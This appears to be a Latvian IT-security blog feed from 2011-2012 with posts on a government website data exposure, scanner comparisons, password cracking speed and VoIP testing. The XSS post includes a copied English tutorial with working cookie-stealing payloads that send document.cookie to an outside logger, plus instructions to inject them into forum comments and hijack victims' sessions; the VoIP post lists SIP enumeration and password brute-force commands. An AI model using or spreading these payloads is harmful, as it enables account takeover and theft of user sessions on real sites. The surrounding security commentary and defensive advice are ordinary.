IT sviestapika » Drošība

Apollo raksta, ka bija ievainojama probacija.lv mājaslapa

Kaspars — Mon, 23 Jan 2012 08:42:26 +0000

Jāpiefiksē vēsturei.
Cik sapratu, tad šīs publikācijas mērķis bija noreklamēt testētāju, kuri to darīja bez saskaņošanas. Diez vai tas nostrādā? Es personīgi šādiem tipiem neuzticētu testēšanu.
Principā par šādu rīcību prasītos notiesājošs spriedums.

http://www.apollo.lv/portal/news/articles/262237

Kā pārliecinājās aģentūra LETA, izmantojot minētās mājaslapas tehniskās nepilnības, ikvienam interneta lietotājam bija iespējams iegūt informāciju par dienestā strādājošo ierēdņu algām, kā arī viņu personīgos datus.

Izmantojot būtiskus pārkāpumus mājaslapas drošībā, «ir iespējams iegūt un manipulēt ar pilnīgi visu informāciju, kura atrodas uz servera, ieskaitot pašu serveri», norādīja «Influent».

Drošības testētāji esot informējuši par atrasto «caurumu» arī pašu VPD, bet atbildi no tā neesot sagaidījuši.

Adrese uz visiem publiski pieejamajiem VPD failiem, kas augšupielādēti uz servera, bija gluži vienkārša – «www.probacija.lv/upload».

Tomēr īsi pēc aģentūras LETA ziņas publicēšanas minētais «caurums» tika «aizlāpīts», līdz ar to dati publiskajā vidē vairs nav pieejami.

Vienā no neaizsargātajiem failiem drošības pārkāpumu testētāji esot atraduši dokumentu, kurā redzams, ka par mājaslapas izstrādi no valsts budžeta paprasīti vairāk nekā 1000 lati, lai gan izstrādātājiem samaksāts vien ap 300 latiem.

VPD pārstāvis Imants Mozers aģentūrai LETA sacīja, ka, uzzinot par šo situāciju, dienests sācis to vērtēt. «Tiklīdz būs zināmi notikušā apstākļi un plašāks skaidrojums, arī mēs sniegsim informāciju,» norādīja Mozers, piebilstot, ka pagaidām nav saprotams, kā šāda veida dati varējuši būt pieejami publiskā vidē.

VPD mājaslapa esot izstrādāta 2004.gadā. Arī intranets dienestam izstrādāts sen, bet Mozers nemācēja pateikt konkrētu gadu.

VPD mājaslapa ir izvietota uz SIA «Lattelecom» serveriem.

Mozers piebilda, – viņa rīcībā nav informācijas, ka drošības testētāji iepriekš būtu ziņojuši VPD par atrasto «caurumu» dienesta mājaslapā.

Kā nodemonstrēt XSS ievainojamību

Kaspars — Sat, 21 Jan 2012 16:02:35 +0000

Ja ir nepieciešams nodemonstrēt kādā veidā var izmantot XSS ievainojamību kādā mājas lapā, tad var izmantot autora izveidoto php skriptu, lai nebūtu jāizveido divritenis no sākuma.

Otrs veids ir izmantot šo pieeju.

Savkārt ievietot jau mājaslapā pārsūtāmo informāciju visbiežāk izdevies izmantojot šo piemēru:

script>
new Image().src=”http://jehiah.com/_sandbox/log.cgi?c=”+encodeURI(document.cookie);

/script>

In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim’s computer (see HTTP cookie theft).

Here we show how you can hack a session using javascript and php.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user’s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.

PHP Code:

Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)

Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.

Now for the hack to work we have to inject this piece of javascript into the target’s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.

The best way is to look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

Code:

script type=”text/javascript” language=”Java script”>// document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie;
// ]]>
/script>

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

Code:

a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”>Click here!

Clicking an image also can activate the script.For this purpose you can use the below code.

Code:

img src=”URL OF THE IMAGE” alt=”" />

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.

Go to the target site–>open cookie editor–>Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573

Don’t forget to comment if you like my post.
by hackiteasy

WEB aplikāciju testēšanas rīku salīdzinājums

Kaspars — Mon, 28 Nov 2011 09:23:31 +0000

Internetā ir pieejams WAVSEP (Web Application Vulnerability Scanner Evaluation Project) projekts, kurš izmantojot dažādus scenārijus salīdzina aplikāciju testēšanas rīkus.

Tiek testēts izmantojot šādus testus:

Project WAVSEP currently consists of the following test cases:

64 Reflected XSS test cases (32 GET cases, 32 POST cases -> 66 total vulnerabilities)

130 SQL Injection test cases, most of them implemented for MySQL & MSSQL (65 GET cases, 65 POST Vases -> 136 total vulnerabilities)

o The list of test cases includes vulnerable pages that respond with 500 HTTP errors, 200 HTTP Responses with erroneous text, 200 HTTP Responses with differentiation or completely identical 200 HTTP responses.

o 80 out of 136 cases are simple SQL injection test cases (500 & 200 erroneous HTTP responses), and 56 are Blind SQL Injection test cases (valid and identical 200 HTTP responses).

7 different categories of false positive Reflected XSS vulnerabilities (GET OR POST).

10 different categories of false positive SQL Injection vulnerabilities (GET OR POST)

Projekts tiek hostēts iekš googles un vairāk par to var lasīt izstrādātāja blogā.

Principā ir laiks pārvērtēt izmantotos rīkus.

Kādu laiku atpakaļ pats testēju vairākus atvērtā tipa rīkus izmantojot vienkāršu scenāriju- uzstādīju vairākas vecas wordpress un joomla versijas ar zināmiem ievainojumiem. Diemžēl rezultāts mani apbēdināja, jo bieži rīki nespēja atrast pat dažas ļoti vienkārša XSS ievainojamības.

Ar grafiskā procesora palīdzību paroles var uzlauzt daudz ātrāk

Kaspars — Fri, 02 Sep 2011 05:52:51 +0000

Diezgan biedējoši- tam, kam agrāk vajadzēja 43 gadus, tagad pietiek ar 48 dienām bez lielas piepūles.
Pati pieeja nav jauna, bet gribēju padalīties ar labu rakstu, kur autors detalizētāki ir papētījis šo jautājumu. Ir vērts izlasīt.
Un vēl viena cilvēka pētījums.
Es gan nepiekrītu abiem autoriem, ka paroles sākot no 10 simboliem ir drošībā, jo slodzi var sadalīt un pateicoties mākoņdatošanas pakalpojumiem vajag tikai noīrēt vairāk dzelžu.
Šis gan attiecas uz paroļu minēšanu, kura padodas brute-force uzbrukumam.

VID datucentru problēma un DEAC neveiksmīga PR kampaņa

Kaspars — Fri, 05 Aug 2011 07:08:17 +0000

Pārlasīju mēdijos publicētos DEAC rakstus par VID datu centra dīkstāvi elektrības pārtraukuma rezultātā.

Personīgi nepazīstu nevienu VID IT pārstāvi, bet manuprāt jocīgi (neticami) izklausījās Gailīša paziņojums -”VID nerēķinās ar riskiem”, jo:

1. Valsts informācijas sistēmu likums nosaka, ka riski ir jāizvērtē (negribas ticēt, ka šo punktu kāds ignorē);

2. Jebkura biznesa uzdevums nav izslēgt pilnīgi visus riskus, bet sabalansēt to iestāšanās ietekmes zaudējumus pret nepieciešamām investīcijām to novēršanā.

Risku novērtēšanas piemērs, kurš uzreiz nāk prātā:

Risks- elektrības pārtraukuma gadījumā ģeneratora jauda neapmierina DC nepieciešamo.

Riska iestāšanās varbūtība – 1 x gadā.

Riska ietekme – informācijas sistēma nav pieejama līdz elektrības padeve atjaunojas (vidēji 4h).

Riska novēršanas scenārijs- iegādāties jaudīgāku ģeneratoru – 200 000 Ls

Piedāvātais risku mazinošais pasākums bez ģeneratoru iegādes- atslēgt mazāk svarīgus serverus iegūstot jaudu kritiskākiem resursiem vai arī laicīgi veikt drošu sistēmas izslēgšanu neapdraudot datu integritāti.

Augstākminētais piemērs ir mans pieņēmums (uzskatu vismaz 90% korekts), bet tas labi ilustrē, ka ne vienmēr ir izdevīgi novērst visus riskus. Jāņem vērā to, kas vienam ir nepieņemams risks, tas otram ir pieņemams, piemēram, bankas neriskēs 200 000 Ls dēļ ar risku- Internetbanka nav pieejama (jo zaudējumi būtu daudz lielāki), bet vai VID šāds risks ir tik būtisks – nedomāju.

Jāatceras arī tas, ka VID IT budžets veidojas no mūsu nodokļiem, tāpēc katram ir sev jāatbild – vai es maksātu X latus par VID IT 4h dīkstāves riska mazināšanu viena gada laikā.

PS. Pēc šī DEAC raksta izskatās, ka zaudētāji ir tikai pats DEAC, jo palasot komentārus visi saprot, ka tas ir tikai PR, kā arī atgādina cilvēkiem par paša DEAC problēmām (vairākas dīkstāves un interneta pieslēguma pārtraukumus).

VoIP stress tests

Kaspars — Tue, 21 Jun 2011 19:41:45 +0000

Man palūdza veikt vienas VoIP platformas autentifikācijas stress testu, jo vajadzēja notestēt jauno DOS aizsardzības mehānismu.
Pēc daudzu materiālu izlasīšanas un rīku testēšanas konstatēju, ka man vislabāk patīk:
svmap.py – VoIP PBX meklēšanai (man nebija nepieciešams, jo pamat info jau bija zināma. Bet ir noderīgas rīks, ja grib uzzināt kāds tieši PBX slēpjas (taisa fingerprint));
svwar.py – numuru meklēšanai (sūta gan invite, gan register pieprasījumus);
(no šī rīka labums bija mazs, ja VoIP bija ieslēgts alwaysauthreject, kā rezultātā uz visiem pieprasījumiem tika saņemta vienāda atbilde)
svcrack.py – paroles brote-force minēšanai.

Sintakse:
./svwar.py -e100-400 192.168.1.104
./svcrack.py -u200 -d wordlist.txt 192.168.1.104

Viss pārējais ir izdomas un skriptu jautājums.

Nelieli raksti par VoIP no Back-track, sysadmin.net, te, asterix hacking and security, asterix krieviski .
Programmu uzskaitījums
Nedaudz par pašu SIP protokolu

!!!Atcerieties – Bez resursa turētāja atļaujas ir aizliekts veikt jebkādus testus!!!
Anonimitāte internetā ir mīts. Viss pārējais ir laika jautājums.

Kā aizsargāties?
Vienmēr izmantot sarežģītas paroles- vienkāršas paroles ar svcrack tiek uzlauztas dažu sekunžu laikā;
Ieslēgt alwaysauthreject, lai nevar atklāt VOIP numurus un līdz ar to piemeklēt paroli;
Ja iespējams limitēt pieeju PBX;
Izmantot vairāku līmeņu arhitektūru;
Aizliegt pārējo portu izmantošanu;
Ieviest pret DOS un DDOS aizsardzību, jo kā izrādījās ar autentifikācijas pieprasījumiem var vienkārši uzkarināt PBX;
Un prasīt google secure VoIP un hack VoIP.

Nelielas pārdomas par skype

Kaspars — Mon, 18 Apr 2011 07:41:38 +0000

Tas, ka skype sniedz daudzas priekšrocības komunikācijā nav apšaubāms, tomēr ir jāapzinās arī iespējamie draudi, kuri var rasties šo lietojumu izmantojot uzņēmumā. Raksts par to ir pieejams šeit un nedaudz vecāks materiāls šeit.

Ja tomēr ir pieņemts lēmums par skype lietošanu, tad manuprāt vismaz ir jāaizliedz failu pārsūtīšana un API lietošana, tādā veidā samazinot visādas drazas izplatīšanās iespējamību. Vēl daži ieteikumi.

Aizejoša darbinieka risks

Kaspars — Tue, 12 Apr 2011 05:05:27 +0000

Gucci uzņēmums uz savas ādas izbaudīja IT darbinieka atriebību, kuru viņš realizēja vēl strādājot izveidojot VPN pieslēgumu.
Ar rakstu var iepzīties te.
Daudzi uzņēmumi paļaujas uz darbinieku godprātu un kā var redzēt velti.
Ārējo pieslēgumu kontrolē ir ļoti būtiska.

Vadipats.lv tehniskais downtime

Kaspars — Sun, 10 Apr 2011 18:59:10 +0000

Serveri mēdz nokrist un, ja risinājums nav izveidots “High availability”, tad gadās šādi.
Uz e-pastu saņēmu paziņojumu:

Labdien,

www.vadipats.lv 2011.gada 07.aprīlī plkst.13:00 pilnvērtīgi atsāk darbību.

vadipats.lv komanda atvainojas par problēmām, kas radušās sistēmas nepieejamības dēļ.

Diemžēl pat visdrošākajām iekārtām mēdz būt problēmas, un šoreiz platforma Latvijas Valsts Radio un Televīzijas centra datu centrā, uz kuras darbojās vadipats.lv sistēma, nebija izņēmums, proti, 2011.gada 6.aprīlī plkst. 00:35 pārstāja funkcionēt datu centra serveris.

Mūsu prioritāte vienmēr ir bijusi sistēmas pieejamība un mūsu lietotāju datu drošība. Tāpēc vienmēr visiem datiem ir tikušas veidotas rezerves kopijas. Līdz ar to platformas bojājumi neietekmēja sistēmā esošos datus.

Diemžēl datu rezerves kopijas tiek veidotas periodiski. Tāpēc sistēma atjaunota ar datiem tādā stāvoklī, kādā tie bija uz 2011. gada 5. aprīļa plkst. 00:00.

Līdz ar to mums jāatvainojas tiem, kas reģistrējušies vai šī atgadījuma dēļ zaudējuši ievadītos datus periodā no 05.04.2011 plkst. 00.00 līdz 06.04.2011 plkst.00.00. Šādi dati un lietotāji sistēmā jāreģistrē atkārtoti.

Turpmāk vēl lielāku uzmanību pievērsīsim datu saglabāšanā un turpināsim īstenot aktīvu datu drošības nodrošināšanas politiku.

Paldies par sapratni.

Ar cieņu,
vadipats.lv klientu serviss,
www.vadipats.lv

Tautas skaitīšana, EDS, CSDD un ņemšanās ap perosnas kodu

Kaspars — Sat, 05 Mar 2011 07:33:52 +0000

Līdz šim aizņemtības dēļ nebija laiks iedziļināties problēmā, ar kuru slimo visa LV jau veselu nedēļu.
Principā šeit ir jāizdala divas problēmas- valsts iestāžu (un arī dažu privātu) izpratne par to, kas ir drošs autentifikācijas rīks un personas datu pieejamība (lietojamība).

1. gadījumā interesants ir viedoklis, ka privātie dokumenti ir jāsargā pašiem (lai nenoplūst pases kopijas, personas kodi, utml) un to salīdzināšana ar bankas kodu karti.

Diez vai viņi meklējot sev attaisnojumu padomāja no šāda skata punkta- personas apliecinošie dokumenti ir jāuzrāda, jākopē un jādod trešajām pusēm (slēdzot visādus līgumus vai iesniedzot dokumentus valsts iestādēm), turp pretim bankas kodu karti nevienam neviens neprasa.

Apšaubu arī otru argumentu- banku kodu kartes ir tik pat pieejamas internetā, kā personas kodi. Ja tā būtu, tad daļai cilvēku jau sen būtu iztukšoti konti. Principā smieklīgi.

Vispār nesaprotu cik šauri cilvēkam ir jādomā, lai izdarītu secinājumu, ka pasē pieejamie dati tiek uzskatīti par drošu autentifikācijas rīku.. .
Kaut kā neticas, ka neviens auditors nepievērsa tam uzmanību (vairākās iestādēs ir savi IT auditori, drošības speciālisti, gan veiktas ārējās novērtēšanas).
Šādas lietas gribot negribot liek apšaubīt šo cilvēku atbilstību ieņemamam amatam.

2. variantā bija vēl labāk- vienīgais, kas VID darbiniekiem ienāca prāta ir atslēgt EDS sasaisti ar pārējām sistēmām un pompozi paziņot- Tagad Jums visiem būs divreiz vairāk darba, būs jāvada gan personas kodi, gan vārdi, uzvārdi, adreses ar roku.

Tas viss atgādina drīzāk nedomāšanu vai klasisko domāšanu balts/melns.

Es piedāvātu labāk izvērtēt kāda informācija tad īsti ir jāatspoguļo tajās EDS anketās par trešajām pusēm. Manuprāt pietiktu ar personas kodu (kuru ievada pats aizpildītājs) un tad, lai no saistošām sistēmām izvada tikai vārdu un uzvārdu (lai salīdzinātu vai ievadīts pareizi). Pārējo informāciju paturot pieejamu tikai VID darbiniekiem. Tādā veidā būtu atvieglota datu ievade un nevajadzīgi nebūtu jāatspoguļo informācija.

Internetā pieejamie cepieni par šo tēmu- Tautas skaitīšana, CSDD, EDS.